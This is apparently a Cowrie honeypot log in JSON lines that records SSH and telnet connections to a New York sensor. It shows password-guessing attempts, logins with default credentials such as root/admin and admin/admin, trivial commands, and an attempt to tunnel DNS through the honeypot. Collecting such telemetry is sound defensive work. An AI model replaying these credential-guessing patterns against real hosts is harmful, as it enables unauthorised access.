{"eventid":"cowrie.client.version","version":"SSH-2.0-Renci.SshNet.SshClient.0.0.1","message":"Remote SSH version: SSH-2.0-Renci.SshNet.SshClient.0.0.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:41:41.064574Z","src_ip":"185.71.233.73","session":"69be4469c7b1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"748f8c627d3f8ff9921d02f86f55ba2c","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,aes192-cbc,aes256-cbc,3des-cbc,blowfish-cbc,twofish-cbc,twofish192-cbc,twofish128-cbc,twofish256-cbc,arcfour,arcfour128,arcfour256,cast128-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha2-512-96,hmac-sha2-256-96,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-md5-96-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","aes192-cbc","aes256-cbc","3des-cbc","blowfish-cbc","twofish-cbc","twofish192-cbc","twofish128-cbc","twofish256-cbc","arcfour","arcfour128","arcfour256","cast128-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha2-512-96","hmac-sha2-256-96","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com","hmac-md5-96-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 748f8c627d3f8ff9921d02f86f55ba2c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:41:41.261934Z","src_ip":"185.71.233.73","session":"69be4469c7b1","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"apt-get update -y","message":"CMD: apt-get update -y","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:41:41.683526Z","src_ip":"185.71.233.73","session":"e18e10dab7b2","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"admin","message":"login attempt [root/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:41:41.913002Z","src_ip":"185.71.233.73","session":"69be4469c7b1","protocol":"ssh"}
{"eventid":"cowrie.client.size","width":80,"height":60,"message":"Terminal Size: 80 60","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:41:42.371491Z","src_ip":"185.71.233.73","session":"69be4469c7b1","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:41:42.588820Z","src_ip":"185.71.233.73","session":"69be4469c7b1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":35204,"dst_ip":"159.203.135.109","dst_port":23,"session":"3e89b865bbe2","protocol":"telnet","message":"New connection: 147.182.143.59:35204 (159.203.135.109:23) [session: 3e89b865bbe2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:41:42.610409Z"}
{"eventid":"cowrie.command.input","input":"apt-get update -y","message":"CMD: apt-get update -y","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:41:43.807332Z","src_ip":"185.71.233.73","session":"69be4469c7b1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"187.230.120.231","src_port":41394,"dst_ip":"10.17.0.5","dst_port":22,"session":"cf85af8ec92d","protocol":"ssh","message":"New connection: 187.230.120.231:41394 (10.17.0.5:22) [session: cf85af8ec92d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:41:51.237050Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:41:51.241267Z","src_ip":"187.230.120.231","session":"cf85af8ec92d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:41:51.353630Z","src_ip":"187.230.120.231","session":"cf85af8ec92d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"internet","message":"login attempt [test/internet] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:41:51.824619Z","src_ip":"187.230.120.231","session":"cf85af8ec92d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:41:52.935881Z","src_ip":"187.230.120.231","session":"cf85af8ec92d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":40520,"dst_ip":"10.17.0.5","dst_port":23,"session":"471a425bbf72","protocol":"telnet","message":"New connection: 45.58.127.90:40520 (10.17.0.5:23) [session: 471a425bbf72]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:41:54.579698Z"}
{"eventid":"cowrie.session.closed","duration":15.030149698257446,"message":"Connection lost after 15 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:41:57.640452Z","src_ip":"147.182.143.59","session":"3e89b865bbe2","protocol":"telnet"}
{"eventid":"cowrie.command.input","input":"sudo apt-get update -y","message":"CMD: sudo apt-get update -y","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:41:57.708566Z","src_ip":"185.71.233.73","session":"e18e10dab7b2","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"admin","message":"CMD: admin","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:41:58.745969Z","src_ip":"185.71.233.73","session":"e18e10dab7b2","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"admin ","message":"Command not found: admin ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:41:58.749963Z","src_ip":"185.71.233.73","session":"e18e10dab7b2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.337785959243774,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:41:59.232540Z","src_ip":"45.58.127.90","session":"d879e447ab2b","protocol":"telnet"}
{"eventid":"cowrie.command.input","input":"sudo apt-get update -y","message":"CMD: sudo apt-get update -y","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:41:59.839504Z","src_ip":"185.71.233.73","session":"69be4469c7b1","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"admin","message":"CMD: admin","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:42:00.861384Z","src_ip":"185.71.233.73","session":"69be4469c7b1","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"admin ","message":"Command not found: admin ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:42:00.865463Z","src_ip":"185.71.233.73","session":"69be4469c7b1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":45016,"dst_ip":"10.17.0.5","dst_port":23,"session":"ee62fda9abce","protocol":"telnet","message":"New connection: 45.58.127.90:45016 (10.17.0.5:23) [session: ee62fda9abce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:42:01.223504Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":45030,"dst_ip":"10.17.0.5","dst_port":23,"session":"af8f344125b3","protocol":"telnet","message":"New connection: 45.58.127.90:45030 (10.17.0.5:23) [session: af8f344125b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:42:02.043507Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":45040,"dst_ip":"10.17.0.5","dst_port":23,"session":"13cea9e46cc6","protocol":"telnet","message":"New connection: 45.58.127.90:45040 (10.17.0.5:23) [session: 13cea9e46cc6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:42:02.270153Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":45056,"dst_ip":"10.17.0.5","dst_port":23,"session":"1124e5563cd6","protocol":"telnet","message":"New connection: 45.58.127.90:45056 (10.17.0.5:23) [session: 1124e5563cd6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:42:03.600533Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.56","src_port":43965,"dst_ip":"159.203.135.109","dst_port":22,"session":"e4fda3dd1848","protocol":"ssh","message":"New connection: 213.209.159.56:43965 (159.203.135.109:22) [session: e4fda3dd1848]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:42:04.229621Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:42:04.234715Z","src_ip":"213.209.159.56","session":"e4fda3dd1848","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:42:04.316854Z","src_ip":"213.209.159.56","session":"e4fda3dd1848","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tracey","password":"tracey","message":"login attempt [tracey/tracey] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:42:04.719428Z","src_ip":"213.209.159.56","session":"e4fda3dd1848","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tracey","password":"tracey1","message":"login attempt [tracey/tracey1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:42:05.806384Z","src_ip":"213.209.159.56","session":"e4fda3dd1848","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tracey","password":"tracey123","message":"login attempt [tracey/tracey123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:42:06.892427Z","src_ip":"213.209.159.56","session":"e4fda3dd1848","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tracey","password":"tracey1234","message":"login attempt [tracey/tracey1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:42:07.976740Z","src_ip":"213.209.159.56","session":"e4fda3dd1848","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tracey","password":"tracey12345","message":"login attempt [tracey/tracey12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:42:09.061767Z","src_ip":"213.209.159.56","session":"e4fda3dd1848","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:42:10.148463Z","src_ip":"213.209.159.56","session":"e4fda3dd1848","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":55266,"dst_ip":"10.17.0.5","dst_port":23,"session":"b33f5f1dcaf4","protocol":"telnet","message":"New connection: 45.58.127.90:55266 (10.17.0.5:23) [session: b33f5f1dcaf4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:42:11.835891Z"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/54ae5b61c5ac6f047b17b36b35584bb3528e46cdb902e4e16f1f560f9be5d83a","size":718,"shasum":"54ae5b61c5ac6f047b17b36b35584bb3528e46cdb902e4e16f1f560f9be5d83a","duplicate":false,"duration":"34.3","message":"Closing TTY Log: var/lib/cowrie/tty/54ae5b61c5ac6f047b17b36b35584bb3528e46cdb902e4e16f1f560f9be5d83a after 34.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:42:14.773164Z","src_ip":"185.71.233.73","session":"e18e10dab7b2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"36.0","message":"Connection lost after 36.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:42:14.969655Z","src_ip":"185.71.233.73","session":"e18e10dab7b2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.748138666152954,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:42:16.546315Z","src_ip":"45.58.127.90","session":"133a33b73d3c","protocol":"telnet"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/54ae5b61c5ac6f047b17b36b35584bb3528e46cdb902e4e16f1f560f9be5d83a","size":718,"shasum":"54ae5b61c5ac6f047b17b36b35584bb3528e46cdb902e4e16f1f560f9be5d83a","duplicate":true,"duration":"34.3","message":"Closing TTY Log: var/lib/cowrie/tty/54ae5b61c5ac6f047b17b36b35584bb3528e46cdb902e4e16f1f560f9be5d83a after 34.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:42:16.884352Z","src_ip":"185.71.233.73","session":"69be4469c7b1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"36.0","message":"Connection lost after 36.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:42:17.082693Z","src_ip":"185.71.233.73","session":"69be4469c7b1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":44332,"dst_ip":"10.17.0.5","dst_port":22,"session":"fce3cdae4b2d","protocol":"ssh","message":"New connection: 87.251.64.176:44332 (10.17.0.5:22) [session: fce3cdae4b2d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:42:19.656817Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:42:19.662102Z","src_ip":"87.251.64.176","session":"fce3cdae4b2d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:42:19.759840Z","src_ip":"87.251.64.176","session":"fce3cdae4b2d","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:42:20.049369Z","src_ip":"87.251.64.176","session":"fce3cdae4b2d","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:42:20.151563Z","session":"fce3cdae4b2d","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:42:20.249300Z","src_ip":"87.251.64.176","session":"fce3cdae4b2d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:42:20.482072Z","src_ip":"87.251.64.176","session":"fce3cdae4b2d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.181.4.12","src_port":43176,"dst_ip":"10.17.0.5","dst_port":22,"session":"b711f7d470f7","protocol":"ssh","message":"New connection: 190.181.4.12:43176 (10.17.0.5:22) [session: b711f7d470f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:42:22.373341Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:42:22.380292Z","src_ip":"190.181.4.12","session":"b711f7d470f7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:42:22.499664Z","src_ip":"190.181.4.12","session":"b711f7d470f7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":53308,"dst_ip":"10.17.0.5","dst_port":23,"session":"044e74308516","protocol":"telnet","message":"New connection: 45.58.127.90:53308 (10.17.0.5:23) [session: 044e74308516]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:42:34.120446Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":57600,"dst_ip":"159.203.135.109","dst_port":23,"session":"c2adaced5cf5","protocol":"telnet","message":"New connection: 147.182.143.59:57600 (159.203.135.109:23) [session: c2adaced5cf5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:42:34.728035Z"}
{"eventid":"cowrie.session.closed","duration":41.389939308166504,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:42:35.969496Z","src_ip":"45.58.127.90","session":"471a425bbf72","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.79301571846008,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:42:37.016397Z","src_ip":"45.58.127.90","session":"ee62fda9abce","protocol":"telnet"}
